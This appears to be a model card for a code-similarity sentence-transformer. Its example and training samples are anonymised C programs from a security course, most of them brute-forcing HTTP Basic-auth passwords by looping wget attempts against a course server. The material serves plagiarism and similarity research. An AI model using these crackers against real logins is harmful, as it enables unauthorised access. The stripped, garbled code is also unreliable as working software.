{
int ;
int ;
}range;
void *client(void *arg)
{
int i=0, status=1;
range *= (struct range*)arg;
char local_buffer[128];
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=true;
pthread_cond_signal(&thread_ready);
while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
fflush(stdout);
pthread_mutex_unlock(&thread_lock);
for(i=->; i<=-> && i<combo_entries; i++)
{
sprintf(local_buffer,
"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
"", combination[i], host);
status=system(local_buffer);
if(status==0)
{
printf("\n\nusername: \npassword: %s\n\n", combination[i]);
fflush(stdout);
pthread_mutex_lock(&counter_lock);
attempt_count++;
gettimeofday(&stop, NULL);
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
pthread_mutex_unlock(&counter_lock);
exit(EXIT_SUCCESS);
}
else
{
pthread_mutex_lock(&counter_lock);
attempt_count++;
pthread_mutex_unlock(&counter_lock);
}
}
pthread_exit(NULL);
}
char *getNextCombination()
{
static int i=0;
static int j=0;
static int k=0;
static int mode=1;
char *word;
if(i>51)
{
mode++; i=0; j=0; k=0;
}
if(mode==1)
{
char *word = calloc(mode, 1);
word[0]=alphabet[i++];
word[1]='\0';
return word;
}
if(mode==2)
{
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j++];
word[2]='\0';
return word;
}
}
if(mode==3)
{
if(k>51)
{
j++; k=0;
}
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j];
word[2]=alphabet[k++];
word[3]='\0';
return word;
}
}
return NULL;
}
int main(int argc, char **argv)
{
int wait_status=0, i=0, j=0, num_threads=0;
int partition=0, prev_min=0, prev_max=0;
int len=0;
char *word; range *;
pthread_t tid[MAX_THREADS];
int non_alpha_detected=0;
if(argc<3)
{
puts("Incorrect usage!");
puts("./brute num_threads url");
exit(EXIT_FAILURE);
}
strcpy(host, argv[2]);
num_threads=atoi(argv[1]);
combination = (char **)calloc(MAX_COMBO, sizeof(char *));
printf("Process ID for the thread is: %d\n", getpid());
printf("Creating brute-force dictionary ... ");
while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
{
combination[i]=calloc(strlen(word)+1, sizeof(char));
strcpy(combination[i++], word);
combo_entries++;
}
puts("");
j=0;
partition=combo_entries/num_threads;
if(partition==0)
{
puts("Reducing the number of threads match the number of words.");
num_threads=combo_entries;
partition=1;
}
prev_min=0;
prev_max=partition;
i=0;
memset(&, 0, sizeof(struct timeval));
memset(&stop, 0, sizeof(struct timeval));
while(i<num_threads && i<MAX_THREADS)
{
=malloc(sizeof(struct range));
->=prev_min;
->=prev_max;
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=false;
pthread_mutex_unlock(&thread_lock);
if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");
pthread_mutex_lock(&thread_lock);
while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
pthread_mutex_unlock(&thread_lock);
prev_min+=partition+1;
if(i==num_threads)
{
prev_max=combo_entries;
}
else
{
prev_max+=partition+1;
}
}
gettimeofday(&, NULL);
pthread_mutex_lock(&thread_lock);
thread_start_indicator=true;
pthread_mutex_unlock(&thread_lock);
pthread_cond_broadcast(&start_hacking);
printf("Created %d threads process %d passwords\n", num_threads, combo_entries);
printf("Attacking host: %s\n", host);
fflush(stdout);
for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);
gettimeofday(&stop, NULL);
puts("Could not determine the password for this site.");
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
for(i=0; i<combo_entries; i++) (combination[i]);
(*combination);
return EXIT_SUCCESS;
}
- "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\"); \n\twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\tsystem(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\t\t{\t\t\n\t\t\t printf(\"\\n\\n The has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe has not changed \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n"
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\ntime_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\");\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n {\n v[0]=[m]; \n v[1]='\\0';\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3); \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n \n \n }\n }\n } \n \n} \n"
- source_sentence: "\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen(\"/usr/share/lib/dict/words\",\"r\")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]=='\\n') {\n pass[3]='\\0';\n\t send[0]='\\0';\n\t strcpy(send,\"wget --http-user= --http-passwd=\");\n \t strcat(send,pass);\n\t strcat(send,\" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf(\"\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf(\"\\nFILE CANNOT OPENED\\n\");\n}\n"
sentences:
- "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE \"/usr/share/lib/dict/words\"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Unable allocate %d btyes memory\\n\", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf(\"\\n%s\", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, \"r\");\n\n\tif (fp)\n\t{\n\t\tprintf(\"\\nLoading dictionary file...\\n\");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == '\\n')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = '\\0';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf(\"total %d\\n\", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Cannot dictionary file\\n\");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = \"\";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, \"wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat(\"dictTemp\", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n"
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf(\"The password for the user : %s\\n\",); \n printf(\" Cracked the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n"
- "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nint i,j,k,count=0;\nint total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]='\\0';\n\tstrcpy(c,m);\n\tprintf(\"%s \\n\",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]='\\0';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf(\"%s \\n\",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf(\"ATTEMPT :%d\\n\",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]='\\0';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf(\"Congratulations!!!!BruteForce Attack Successful\\n\");\n\t\tprintf(\"***********************************************\\n\");\n\t\tprintf(\"The Password is %s\\n\",c2);\n\t\tprintf(\"The Request sent is %s\\n\",a); \n end_time = time();\n total_time = (end_time -start_time);\n total_time /= 1000000000.0;\n printf(\"The Time Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on uclanlp/plbart-java-cs
This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: uclanlp/plbart-java-cs
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
'\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]==\'\\n\') {\n pass[3]=\'\\0\';\n\t send[0]=\'\\0\';\n\t strcpy(send,"wget --http-user= --http-passwd=");\n \t strcat(send,pass);\n\t strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n",pass,(double)final/OneBillion,count);\n\t exit(1);\n\t }\n }\n }\n }\n printf("\\nFILE CANNOT OPENED\\n");\n}\n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime, stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t [2] = arr[k];\n\t [3] = \'\\0\';\n\n\n\t printf("Checking for the word :%s\\n",);\n\t strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\t if (pass == 0)\n\t { \n printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t stopTime = time();\n\n final = stopTime-startTime;\n\t\tprintf("The password for the user : %s\\n",); \n printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n',
'\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
# [0.9742, 1.0000, 0.9571],
# [0.9676, 0.9571, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 146 tokens
- mean: 381.73 tokens
- max: 512 tokens
- min: 146 tokens
- mean: 365.36 tokens
- max: 512 tokens
- 0: ~99.10%
- 1: ~0.90%
- Samples:
sentence_0 sentence_1 label
#include
#include
#include
#define OneBillion 1e9
int () {
FILE *fp;
int ret;
char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
char str[100];
char passwd[150];
int startTime, stopTime, final;
strcpy(passwd,strin);
fp = fopen("words","r");
if (fp == NULL) {
printf ("\n Error opening file; exiting...");
exit(0);
}
else
startTime = time();
while (fgets(str,20,fp) != NULL) {
str[strlen(str)-1] = '\0';
if (strlen(str) < 4) {
strcat(passwd,str);
printf("string is %s\n",passwd);
ret = system(passwd);
strcpy(passwd,strin);
if (ret == 0) break;
}
}
stopTime = time();
final = stopTime-startTime;
printf("\n============================================================");
printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
printf("\n UserName : ");
printf("\n Pas...#include
#include
#include
#include
#include
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...0
#include
#include
#include
int () {
while (1) {
system("wget -p www.cs.rmit.edu.");\
system("mkdir sitefiles");
system("cp www.cs.rmit.edu./index.html sitefiles");
system("diff sitefiles/index.html www.cs.rmit.edu./index.htmlmail @cs.rmit.edu.");
system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt");
system("diff imageInfo.txt sitefiles/imageInfo.txtmail @cs.rmit.edu.");
system("cp imageInfo.txt sitefiles");
sleep(86400);
}
}#include
#include
#include
#include
#include
int ()
{
char first[80], last[50];
int count =0;
int Start_time,End_time,Total_time,average;
char password[15], *getWord;
getWord = " ";
FILE *fp;
int systemres = 1;
fp = fopen("words", "r");
Start_time = time();
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
{
getWord = fgets(password, 15, fp);
if (getWord == NULL) exit(1);
password [ strlen(password) - 1 ] = '\0';
if(strlen(password) == 3)
{
strcat(first, password);
strcat(first, last);
printf("The length of the word is : %d", strlen(password));
printf("\n %s \n",first);
count++;
systemres = system(first);
if (systemres == 0)
{
printf(" Time =%11dms\n", Start_time);
End_time = time();
Total_time = (End_time - Start_time);
Total_time /= 1000000000.0;
printf("totaltime in seconds =%lldsec\n", ...
#include
#include
#include
int ()
{
int i,j,k,cntr=0;
char pass[3];
char password[3];
char get[96];
